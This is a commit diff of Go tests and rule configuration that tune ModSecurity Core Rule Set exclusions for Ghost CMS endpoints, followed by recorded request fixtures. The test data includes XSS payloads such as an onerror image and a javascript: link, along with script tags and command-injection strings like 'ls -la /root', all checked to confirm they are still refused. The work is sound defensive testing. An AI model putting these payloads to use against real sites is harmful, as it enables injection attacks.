ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
# skips the two rules that url skips:
# 930120: https://example.com/tag/.htaccess/
# 932120: https://example.com/tag/powershell/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900382,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
+444 -14
View File
@@ -28,6 +28,19 @@ const (
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
ghostInvites = "/ghost/api/admin/invites/"
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
ghostOffers = "/ghost/api/admin/offers/"
ghostRecommended = "/ghost/api/admin/recommendations/"
ghostTags = "/ghost/api/admin/tags/"
ghostImport = "/ghost/api/admin/members/upload/"
ghostComments = "/members/api/comments/"
ghostNote = "/.ghost/activitypub/v1/actions/note"
ghostAccount = "/.ghost/activitypub/v1/account"
ghostAliases = "/.ghost/activitypub/v1/aliases"
ghostMigration = "/.ghost/activitypub/v1/migration"
ghostDomain = "/.ghost/activitypub/v1/domain"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -64,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
)
}
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
@@ -116,8 +129,111 @@ var ghostTextFields = []ghostField{
`{"snippets":[{"name":"VALUE"}]}`,
},
{http.MethodPut, ghostMember, ghostMemberName},
// A staff user's profile, the first staff user, an invitation accepted.
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
// Tiers, offers, recommendations, integrations and webhooks.
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
{
http.MethodPut,
ghostTiers,
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
},
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
{
http.MethodPost,
ghostOffers,
`{"offers":[{"display_description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"title":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"excerpt":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/integrations/",
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/webhooks/",
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
},
// A feature image's alt text and caption.
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
{
http.MethodPut,
ghostPost,
`{"posts":[{"feature_image_caption":` +
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
},
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
// A member's comment, written and edited.
ghostNewComment,
{
http.MethodPut,
ghostComments + "6af5426ae56ecb0001938894/",
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
},
// ActivityPub: a note, a reply, the description of their image, and the
// account.
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
{http.MethodPost, ghostNote, ghostNoteImage},
{http.MethodPost, ghostReply, ghostNoteImage},
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
}
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
//
//nolint:gochecknoglobals // a constant cannot be a struct
var ghostNewComment = ghostField{
http.MethodPost,
ghostComments,
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
}
// ghostComment is the HTML of an ordinary comment, with a link.
const ghostComment = `Try <strong>python3</strong>, then ` +
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
// image, with VALUE as the image's description.
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
// ghostReply is the path that posts a reply to a note in ActivityPub.
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
@@ -135,6 +251,8 @@ var ghostAddressFields = []ghostField{
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
{
http.MethodPost,
ghostPasswordReset,
@@ -143,6 +261,40 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
// sends as an @ followed by an address, with no spaces. They skip 930120 and
// 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostHandleFields = []ghostField{
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
}
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
// skip 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomainFields = []ghostField{
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
}
// ghostURLFields hold a tag's canonical URL, or the address of an account
// removed from those that move here in ActivityPub. They skip 930120 and
// 932120, as url does.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLFields = []ghostField{
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"canonical_url":"VALUE"}]}`,
},
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
@@ -183,8 +335,8 @@ var ghostArticleFields = slices.Concat(
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
// and take a <script> element by 900366.
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
// and 900378, and take a <script> element by 900366 and 900378.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
@@ -203,6 +355,16 @@ var ghostCodeFields = []ghostField{
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
{
http.MethodPost,
ghostTags,
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
@@ -211,16 +373,42 @@ const (
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
ghostPathname = ghostStats + "&pathname="
ghostSource = ghostStats + "&source="
ghostCampaign = ghostStats + "&utm_campaign="
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
ghostInvitedEmail = ghostInvitation + "?email="
)
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
// analytics, each ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAnalyticsFilters = []string{
ghostSource,
ghostStats + "&utm_source=",
ghostStats + "&utm_medium=",
ghostCampaign,
ghostStats + "&utm_content=",
ghostStats + "&utm_term=",
}
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
ghostAccountSearch, ghostInvitedEmail,
}
// ghostURLs are addresses 930120 and 932120 refused in url.
// ghostCommandNames joins two command names, as an ordinary title can.
const ghostCommandNames = "powershell & python3"
// ghostURLs are addresses 930120 and 932120 refused in url and in
// ghostURLFields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
@@ -238,6 +426,15 @@ var ghostAddresses = []string{
"dave.powershell@example.com",
}
// ghostDomains are domains 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomains = []string{
"erin.htaccess.example.com",
"python3.example.com",
"powershell.example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -327,14 +524,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
for _, f := range ghostURLFields {
wantGhostField(t, f, address, false)
}
}
for _, address := range ghostAddresses {
for _, f := range ghostAddressFields {
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
wantGhostField(t, f, address, false)
}
}
for _, domain := range ghostDomains {
for _, f := range ghostDomainFields {
wantGhostField(t, f, domain, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
@@ -343,6 +550,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostField(t, ghostNewComment, ghostComment, false)
wantGhostField(
t,
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
"A terminal running ls -la on .htaccess with python3",
false,
)
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -376,7 +591,8 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's or a page's own.
// Site code injection, saved in settings, and a post's, a page's or a
// tag's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
@@ -395,6 +611,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
@@ -407,6 +624,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
@@ -415,13 +633,19 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
// A command after a separator stays refused wherever 932235 does not
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
// url, pathname, email_segment and email. The other fields skip 932235,
// which refuses "powershell & python3" as it refuses this.
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
ghostDomainFields, ghostURLFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range ghostQueryFields {
for _, target := range []string{
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
ghostInvitedEmail,
} {
wantGhostQuery(
t,
target+url.QueryEscape(commandAfterASeparator),
@@ -429,6 +653,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
)
}
// A comment keeps the rules for scripts and HTML.
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
wantGhostField(
t,
ghostNewComment,
`<a href="javascript:alert(1)">x</a>`,
true,
)
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
@@ -440,12 +673,138 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
// An address and the domain keep 932250, which refuses a listing of
// files. A handle keeps it too, but its @ comes before any command.
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostTwoCommandNamesPass(t *testing.T) {
t.Parallel()
// The site's title, saved through settings.
siteTitle := ghostField{
http.MethodPut,
ghostSettings,
`{"settings":[{"key":"title","value":"VALUE"}]}`,
}
wantGhostField(t, siteTitle, ghostCommandNames, false)
// Values that join two command names, as a person types them.
for _, typed := range []string{
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
"ls -la & python3",
} {
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
wantGhostField(t, f, typed, false)
}
wantGhostImportLabel(t, ghostImport, typed, false)
for _, target := range slices.Concat(
ghostAnalyticsFilters,
[]string{ghostAccountSearch},
) {
wantGhostQuery(t, target+url.QueryEscape(typed), false)
}
// filter as the admin's post picker writes it, after a person types
// such a title.
filter := "status:published+title:~'" + typed + "'"
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
}
}
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
// pages, email_segment, the search of ActivityPub and the check of an
// invitation.
func TestGhostOrdinaryQueriesPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
text := url.QueryEscape("Notes on " + value + " & tidy files")
for _, target := range ghostAnalyticsFilters {
wantGhostQuery(t, target+encoded, false)
}
wantGhostQuery(t, ghostCampaign+text, false)
wantGhostQuery(t, ghostAccountSearch+text, false)
}
// pathname, the page the analytics show: a post and two tag pages.
for _, path := range []string{
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
} {
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
}
wantGhostQuery(
t,
ghostCampaign+url.QueryEscape(ghostCommandNames),
false,
)
wantGhostQuery(
t,
ghostAccountSearch+"%40powershell%40example.com",
false,
)
for _, segment := range []string{
"label:powershell-users", "label:python3", "label:ls-la",
"label:htaccess", "status:free,tier:powershell-club",
} {
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
}
for _, address := range ghostAddresses {
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
}
}
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
// refuses label, sent as labels in a CSV import to target, or lets it
// through.
func wantGhostImportLabel(
t *testing.T, target, label string, refused bool,
) {
t.Helper()
r := request{http.MethodPost, target, []string{multipart}}
body := field("labels", label) + field("mapping[email]", "email") + end
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
}
}
func TestGhostImportLabelsPass(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
wantGhostImportLabel(t, ghostImport, value+" import", false)
}
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
for _, attack := range ghostAttacks {
wantGhostImportLabel(t, ghostImport, attack, true)
}
// labels keeps its rules on other paths, and when the query has a field
// of the same name.
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -481,7 +840,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -533,6 +891,7 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -542,6 +901,8 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{ghostPosts, scriptInTag},
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
@@ -563,7 +924,8 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds.
// url only on the editor's lookup of embeds. pathname, email_segment,
// query and email skip theirs only on their own paths.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
@@ -572,11 +934,79 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
"/ghost/api/admin/stats/top-content/?order=powershell",
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
"/ghost/api/admin/posts/?query=python3",
"/.ghost/activitypub/v1/actions/note?query=python3",
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
} {
wantGhostQuery(t, target, true)
}
}
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
// the others: each keeps its rules on another path, and when the query has
// a field of the same name.
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
altText = `{"image":{"altText":"python3"}}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
targetHandle = `{"targetHandle":"@powershell@example.com"}`
domain = `{"domain":"python3.example.com"}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/users/1/", bio},
{ghostMember, bio},
{ghostUser + "?json.users.0.bio=x", bio},
{ghostPosts, comment},
{ghostComments + "?json.comments.0.html=x", comment},
{ghostAccount, content},
{ghostNote + "?json.content=x", content},
{ghostAccount, altText},
{ghostNote + "?json.image.altText=x", altText},
{ghostNote, accountBio},
{ghostAccount + "?json.bio=x", accountBio},
{ghostPosts, invited},
{ghostInvites + "?json.invites.0.email=x", invited},
{ghostInvites, accepted},
{ghostInvitation + "?json.invitation.0.email=x", accepted},
{ghostMigration, sourceHandle},
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
{ghostMigration, actorURI},
{ghostAliases + "?json.actorUri=x", actorURI},
{ghostAliases, targetHandle},
{ghostMigration + "?json.targetHandle=x", targetHandle},
{ghostAccount, domain},
{ghostDomain + "?json.domain=x", domain},
{ghostPosts, tagCode},
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
{ghostPosts, tagURL},
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
if got.Score < ghostThreshold {
t.Errorf("PUT %s %s let through: %+v", refused.target,
refused.body, got)
}
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
+30
View File
@@ -760,3 +760,33 @@
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\nUEsDBAoAAAAAAM9la10AAAAAAAAAAAAAAAAMABwAbm90ZXMtdGhlbWUvVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAFBLAwQUAAAACADPZWtdXfnn43sAAACmAAAAFQAcAG5vdGVzLXRoZW1lL2luZGV4Lmhic1VUCQADpmP0aqZj9Gp1eAsAAQToAwAABOgDAAAtjlEKAyEMRP/3FHZ7AKHfqVcpwcYqWF00C4WQu1dtP+fNZCYiFzBPCnhmVt3gjak4kWuojdBHc9TOXRWwcfKZjM/Y+30XmcZjKdXdQbw5QBMbhWmeLU8qwokzjXOLDuzIiNDHUzt4sV/ngPY/pzqK8ZUKcqplZtY/2xdQSwMECgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAHABub3Rlcy10aGVtZS9wYXJ0aWFscy9VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAM9la11tuH02lQAAAPgAAAAUABwAbm90ZXMtdGhlbWUvcGFnZS5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAXU+7DsMgDNz7FZTMVdSd5lcQoiaxBEkFzmTx77XTdGi3e+l0x3x15gkp7Jl6vzAPr60JcqESxgwm5tDawzKr7g/Wu53ccp+YCSmDhMeDDZhMgkB7BY8lzOpgmU2rUQsE+r3m/4g1IZP6P7oPusdK64hJehpEwm39zpmXW9xWgpU0ckIdcuYmN54HDrsUsWW3tH3uXd5QSwMEFAAAAAgAz2VrXY4bR/y4AAAABwEAABgAHABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAALY/BbsIwDIbvPIWVM6uKEJdJm+BJKis1baTEjuIAG6jvjpPtZvv7/Vl+OcZE7hMcSyX9qCtZuwc3k/oScg3CjV5AE8YIncNVCvQ8CEP+ravwEZBnyPKgoivF2Bx3q//3D8M4jG6/A0e8BCa14cstq2ht+Pvr1AObbeHNfKVzShhi4xiDpzP9YMqRBi/Jkubywtew9Gg2k06ZypRxaQ8dRnOFZM2k4fl3sOk9lnlCVaptVMuNtm33BlBLAwQUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAcAG5vdGVzLXRoZW1lL3Bvc3QuaGJzVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAF1Puw7DIAzc+xWUzFXUneZXEKImsQRJBc5k8e+103Rot3vpdMd8deYJKeyZer8wD6+tCXKhEsYMJubQ2sMyq+4P1rud3HKfmAkpg4THgw2YTIJAewWPJczqYJlNq1ELBPq95v+INSGT+j+6D7rHSuuISXoaRMJt/c6Zl1vcVoKVNHJCHXLmJjeeBw67FLFlt7R97l3eUEsDBBQAAAAIAM9la12WkoJXiwAAAMEAAAAXABwAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAANY6xDsIwDET3fkXIDqwMboQEzDCwMEWmdZtKKZGIGVDkf6cO6mTdO92dYXO+nu6P28UEnqNrQI+J+BpbW8oxT0y7mD